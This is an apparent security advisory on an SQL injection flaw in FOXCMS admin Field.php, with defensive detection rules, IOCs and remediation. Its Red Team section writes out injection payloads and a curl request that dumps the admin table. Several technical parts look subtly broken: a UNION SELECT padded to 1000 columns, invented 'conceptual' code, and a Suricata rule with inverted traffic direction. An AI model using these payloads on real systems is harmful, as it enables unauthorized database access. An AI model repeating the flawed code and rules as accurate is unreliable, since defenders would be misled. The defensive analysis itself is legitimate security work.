CVE-2025-29181

Executive Summary

CVE-2025-29181 is a critical SQL Injection vulnerability discovered in FOXCMS version 1.25 and earlier. The flaw resides in the /admin/util/Field.php file, specifically within the handling of the $param['title'] parameter. An authenticated attacker with administrative access can inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or complete database compromise. As of this report, no official patch has been released by the vendor, leaving all instances of FOXCMS <= 1.25 vulnerable to exploitation.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. FOXCMS is a standalone PHP-based content management system. The risk is limited to organizations that have deployed FOXCMS directly.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the nature of the vulnerability (authenticated SQL injection in an admin panel), a reasonable assessment is:

• Attack Vector (AV): Network (N) – The admin panel is typically accessible over the network.
• Attack Complexity (AC): Low (L) – Exploitation requires basic SQL injection techniques.
• Privileges Required (PR): High (H) – An attacker must have valid admin credentials.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability affects the database within the same security authority.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Score: 7.2 (High)

Threat Level: High. The vulnerability is easy to exploit once authenticated, and the potential impact on data confidentiality, integrity, and availability is severe.

Deep Dive & Mechanics

The vulnerability exists in the Field.php file located in the /admin/util/ directory. This file is responsible for handling field-related operations within the FOXCMS admin panel. The vulnerable code directly incorporates the $param['title'] parameter into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path (Conceptual):

// /admin/util/Field.php (vulnerable)
$title = $param['title'];
$sql = "SELECT * FROM some_table WHERE title = '$title'";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL commands by providing a malicious value for title, such as:

' OR '1'='1' -- 

This would modify the query to:

SELECT * FROM some_table WHERE title = '' OR '1'='1' -- '

This bypasses the intended logic and returns all rows from the table. More sophisticated injections can be used to extract data, modify records, or execute system commands via xp_cmdshell (if SQL Server is used) or INTO OUTFILE (if MySQL is used).

Vulnerable vs. Patched Code

Since no official patch exists, the following represents a secure coding practice that should be implemented.

Vulnerable Code (FOXCMS <= 1.25):

// /admin/util/Field.php
$title = $param['title'];
$sql = "SELECT * FROM some_table WHERE title = '$title'";
$result = mysqli_query($conn, $sql);

Patched Code (Recommended):

// /admin/util/Field.php (patched)
$title = $param['title'];
$stmt = $conn->prepare("SELECT * FROM some_table WHERE title = ?");
$stmt->bind_param("s", $title);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries, which completely separates SQL logic from user input, rendering injection attacks impossible.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of FOXCMS <= 1.25.
• Valid admin credentials (e.g., admin:password).

Exploitation Steps:

1. Login: Access the FOXCMS admin panel (e.g., http://target.com/admin/) and authenticate.

2. Identify Vulnerable Endpoint: The vulnerable endpoint is likely a POST request to /admin/util/Field.php with a title parameter.

3. Craft Payload: Use a SQL injection payload to extract data. For example, to retrieve all usernames and passwords from the admin table:

   ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000 FROM admin --
   

   Note: The exact number of columns must be determined by trial and error (e.g., using ORDER BY 1, ORDER BY 2, etc.).

4. Execute: Send the crafted POST request using a tool like curl or Burp Suite.

   curl -X POST http://target.com/admin/util/Field.php \
     -d "title=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000 FROM admin --"
   

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in HTTP requests to /admin/util/Field.php.
• Look for unusual characters in the title parameter, such as single quotes ('), double dashes (--), or UNION statements.
• Alert on any admin account performing database-related operations outside of normal business hours.

Defense:

• Immediate: Restrict access to the /admin/ directory to trusted IP addresses only.
• Short-term: Implement a Web Application Firewall (WAF) rule to block SQL injection attempts.
• Long-term: Apply the code fix using prepared statements as shown in the "Vulnerable vs. Patched Code" section.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /admin/util/Field.php containing SQL keywords like UNION, SELECT, FROM, WHERE, OR, AND, --, #, /*.
• Unusual response sizes from /admin/util/Field.php (e.g., returning many rows when only one is expected).
• Outbound database connections from the web server to unusual IP addresses (data exfiltration).

Host IOCs:

• Unexpected entries in the FOXCMS database tables (e.g., new admin users, modified content).
• Web server logs showing repeated failed login attempts followed by successful SQL injection attempts.
• Presence of web shells or backdoor scripts in the FOXCMS installation directory.

File IOCs:

• Modified /admin/util/Field.php file (if attacker patches the vulnerability themselves).
• Suspicious files in the /uploads/ or /tmp/ directories.

Detection Engineering

YARA Rule

rule Detect_FOXCMS_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting FOXCMS Field.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29181"
    strings:
        $s1 = "/admin/util/Field.php" ascii wide nocase
        $s2 = "title=" ascii wide nocase
        $sqli1 = /'.*OR.*'1'='1/ ascii wide nocase
        $sqli2 = /'.*UNION.*SELECT/ ascii wide nocase
        $sqli3 = /'.*--/ ascii wide nocase
    condition:
        $s1 and $s2 and ($sqli1 or $sqli2 or $sqli3)
}

Sigma Rule

title: FOXCMS SQL Injection via title Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against FOXCMS /admin/util/Field.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29181
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: "/admin/util/Field.php"
        cs-method: "POST"
    keywords:
        - "title="
        - "' OR '1'='1"
        - "UNION SELECT"
        - "' --"
    condition: selection and keywords
falsepositives:
    - Legitimate use of single quotes in titles (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"FOXCMS SQL Injection Attempt - CVE-2025-29181";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/util/Field.php"; http_uri;
    content:"title="; http_client_body;
    pcre:"/(?:'.*OR.*'1'='1|'.*UNION.*SELECT|'.*--)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, take the FOXCMS instance offline or restrict network access to the admin panel.
2. Apply WAF Rules: Implement virtual patching using a Web Application Firewall to block SQL injection patterns.
3. Audit: Review database logs for any signs of unauthorized access or data exfiltration.

Long-Term Remediation:

1. Apply Official Patch: Monitor the FOXCMS vendor's website for an official security update. If none is released, consider migrating to a different CMS.
2. Code Fix: Manually patch the vulnerable code in /admin/util/Field.php by replacing direct string interpolation with prepared statements (as shown in the "Vulnerable vs. Patched Code" section).
3. Security Hardening:
   • Enforce strong password policies for admin accounts.
   • Implement multi-factor authentication (MFA) for the admin panel.
   • Regularly update all software components.
   • Conduct periodic security audits and penetration testing.

Valters IT
Securing Your Digital Frontier